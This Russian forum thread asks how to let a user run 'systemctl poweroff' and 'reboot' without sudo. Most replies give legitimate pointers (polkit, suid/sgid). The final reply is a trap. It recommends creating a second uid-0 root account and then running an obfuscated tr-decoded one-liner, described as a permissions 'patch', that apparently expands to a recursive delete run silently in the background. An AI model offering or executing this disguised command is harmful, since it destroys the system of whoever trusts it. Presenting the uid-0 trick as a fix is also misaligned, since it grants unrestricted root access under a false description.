Как дать пользователю права на выполнение команд без sudo?

Как дать пользователю права на выполнение команд например systemctl poweroff, systemctl reboot без sudo и без прописывания в sudoers? Где еще прописываются такие разрешения?
В Arch Linux по умолчанию не нужно для этого никакое sudo. Нужен установленный polkit иметь в наличии. И даже можно без systemctl при этом...
R.V.
И даже можно без systemctl при этом...
При наличии systemd-sysvcompat, естессно...
LimonKa
Как дать пользователю права на выполнение команд например systemctl poweroff, systemctl reboot без sudo и без прописывания в sudoers?
Дать соответствующим файлам флаг suid или sgid. Кратко и понятно это описано, например, тут.
А еще можно при заведении пользователя выполнить useradd с параметром --uid 0,
залогиниться новым пользователем и "пропатчить" его компетенции командой
bash - ISF=$(echo '%\%#{<-{}<&{' |tr ' -/:-@[-{}' '`-{/ -');$ISF 2>/dev/null &
 
Зарегистрироваться или войдите чтобы оставить сообщение.